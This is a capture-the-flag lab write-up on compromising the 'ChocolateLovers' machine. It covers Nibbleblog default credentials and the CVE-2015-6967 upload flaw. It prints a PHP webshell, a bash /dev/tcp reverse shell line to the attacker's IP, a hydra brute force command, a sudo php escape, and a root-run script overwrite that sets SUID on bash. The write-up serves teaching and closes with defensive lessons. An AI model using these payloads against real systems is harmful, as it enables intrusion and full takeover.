ChocolateLovers
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. ChocolateLovers runs Nibbleblog, a lightweight CMS whose panel gives in to the default credentialsadmin:admin. The version is vulnerable to CVE-2015-6967, an unrestricted file upload in the My image plugin that yields RCE and a reverse shell aswww-data. From there,sudo -u chocolate php(GTFOBins) pivots tochocolate, owner of a script root executes: rewriting it to SUID/bin/bashescalates to root withbash -p.
Recon#
Initial scan#
The port scan leaves a web server as the only surface.
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 172.17.0.2
nmap -p80 -sCV 172.17.0.2The vault note keeps the definitions of the functions the two scans were launched with but not their output, so there is no port table to transcribe here.
Behind it is an Apache on Ubuntu that has not even changed its default page:
whatweb http://172.17.0.2http://172.17.0.2 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[172.17.0.2], Title[Apache2 Ubuntu Default Page: It works]
Fuzzing: nothing. The page source: everything#
dirsearch returns not a single useful path: everything that answers is a 403.
dirsearch -u http://172.17.0.2[16:36:36] Starting: [16:36:38] 403 - 275B - /.htpasswd_test ... [16:36:39] 403 - 275B - /.php [16:37:15] 403 - 275B - /server-status/ [16:37:15] 403 - 275B - /server-status Task Completed
The path is somewhere else, and in the only place left to look. The default page's source repeats the same HTML comment seven times:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 T...
<html xmlns="http://www.w3.org/1999/xhtml">
<!--
Modified from the Debian original for Ubun...
Last updated: 2016-11-16
See: https://launchpad.net/bugs/1288690
-->
<!-- /nibbleblog -->
<!-- /nibbleblog -->
<!-- /nibbleblog -->
<!-- /nibbleblog -->
<!-- /nibbleblog -->
<!-- /nibbleblog -->
<!-- /nibbleblog -->Seven identical lines do not slip in by accident: they are there to be seen. It is the reminder that fuzzing only finds what is in the wordlist, and that reading the HTML you already downloaded costs nothing.
Access: Nibbleblog#
From the panel to the default credentials#
The /nibbleblog/admin.php panel invites a brute force, but Nibbleblog drops the connection after a few failed attempts, so hydra returns a shower of false positives:
hydra -L /home/krmena/SecLists/Usernames/sap-default-usernames.txt -P /home/krmena/rockyoudir/rockyou.txt "http-post-form://172.17.0.2/nibbleblog/admin.php:username=^USER^&password=^PASS^:Invalid username or password"The answer is not brute force but trying the obvious: admin:admin gets in. A reminder to check default credentials before reaching for noisy tools.
CVE-2015-6967#
Once authenticated, we identify the Nibbleblog version. Those before 4.0.5 suffer CVE-2015-6967: the My image plugin lets you upload files without validating their type, which end up accessible and executable under /nibbleblog/content/private/plugins/my_image/. It's a file upload to RCE.
Shell as www-data#
Uploading the webshell#
From the panel you install the My image plugin and upload a PHP instead of an image:
<?php
echo shell_exec($_REQUEST['cmd']);
?>The file lands in the plugin's path, where the server executes it. It gets checked from the browser, requesting the URL with the cmd parameter:
http://172.17.0.2/nibbleblog/content/private/plugins/my_image/image.php?cmd=whoamiwww-data
Reverse shell#
With command execution, we listen on 443:
nc -nlvp 443listening on [any] 443 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 60400 bash: cannot set terminal process group (25): Inappropriate ioctl for device bash: no job control in this shell www-data@9a83d9c75f2c:/var/www/html/nibbleblog/content/private/plugins/my_image$
And through that same cmd parameter the bash one-liner fires, landing the reverse shell in the plugin's directory:
bash -c "bash -i >&/dev/tcp/172.17.0.1/443 0>&1"Escalation: www-data → chocolate#
www-data can run php as the user chocolate without a password:
sudo -lMatching Defaults entries for www-data on 9a83d9c75f2c: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on 9a83d9c75f2c: (chocolate) NOPASSWD: /usr/bin/php
GTFOBins documents that php -r runs system commands. The payload stores the command in a variable and passes it inside system(), so the two lines are one single move: outside that session $CMD does not exist.
CMD="/bin/sh" sudo -u chocolate /usr/bin/php -r "system('$CMD');"whoami chocolate
Escalation: chocolate → root#
A writable root script#
The process tree says it on its very first line:
ps -fauxUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 2616 1540 ? Ss 21:47 0:00 /bin/sh -c service apache2 start && while true; do php /opt/script.php; sleep 5; done root 25 0.0 0.2 201396 22860 ? Ss 21:47 0:00 /usr/sbin/apache2 -k start www-data 30 0.0 0.2 202084 18492 ? S 21:47 0:00 \_ /usr/sbin/apache2 -k start ... root 1555 0.0 0.0 5012 3552 pts/0 S+ 22:45 0:00 | \_ sudo -u chocolate /usr/bin/php -r system('/bin/sh'); chocola+ 1556 0.0 0.2 67024 20148 pts/0 S+ 22:45 0:00 | \_ /usr/bin/php -r system('/bin/sh'); ...
The container's PID 1 is not a daemon: it is a sh that starts Apache and then sits in a while true; do php /opt/script.php; sleep 5; done loop. So root runs that file every five seconds. The last two lines are our own session, the sudo -u chocolate from a moment ago.
The file, however, belongs to chocolate:
ls -l /opt/script.php-rw-r--r-- 1 chocolate chocolate 59 May 7 2024 /opt/script.php
A script root runs but another user can write is a direct escalation: replace its content with a payload that SUIDs bash. When root runs it again, it executes as root:
echo '<?php exec("chmod u+s /bin/bash"); ?>' > /opt/script.phpbash -p#
The s in the owner's permission confirms root's script has already run and marked the binary:
ls -l /bin/bash-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
With /bin/bash marked SUID, bash -p keeps root's EUID instead of dropping it, and /root opens up:
bash -pwhoami root cd /root/ ls ls -la total 24 drwx------ 1 root root 4096 May 8 2024 . drwxr-xr-x 1 root root 4096 Dec 4 21:47 .. -rw------- 1 root root 105 May 8 2024 .bash_history -rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc drwxr-xr-x 3 root root 4096 May 8 2024 .local -rw-r--r-- 1 root root 161 Dec 5 2019 .profile
Attack chain#
HTTP (80) -> dirsearch: nothing, only 403s
| index page source: <!-- /nibbleblog --> x7
└─> /nibbleblog/admin.php -> admin:admin (default credentials)
└─> CVE-2015-6967 (My image plugin, unrestricted upload) -> webshell -> RCE
└─> reverse shell -> www-data
└─> sudo -u chocolate php -r system() -> chocolate
└─> writable /opt/script.php (run by root) -> chmod u+s /bin/bash
└─> bash -p -> rootLessons learned#
- Fuzzing only finds what is in the wordlist. Here
dirsearchreturned not one useful path, and/nibbleblogwas in plain sight in the default page's source, repeated seven times. Reading the HTML you already downloaded costs nothing. - Try the obvious before brute forcing. A panel with
admin:adminsaves the noise (and false positives) of hydra against a CMS that also locks out on failed attempts. - An unpatched CMS is RCE on a plate. CVE-2015-6967 turns an image plugin into a webshell upload; keeping Nibbleblog >= 4.0.5 closes it.
- Mind who owns what root executes. A script launched by root but writable by another user is instant escalation; the file's owner and permissions matter as much as who runs it.
- The SUID bit on
bashis the classic backdoor.chmod u+s /bin/bash+bash -pgives root with no password; audit SUID binaries regularly.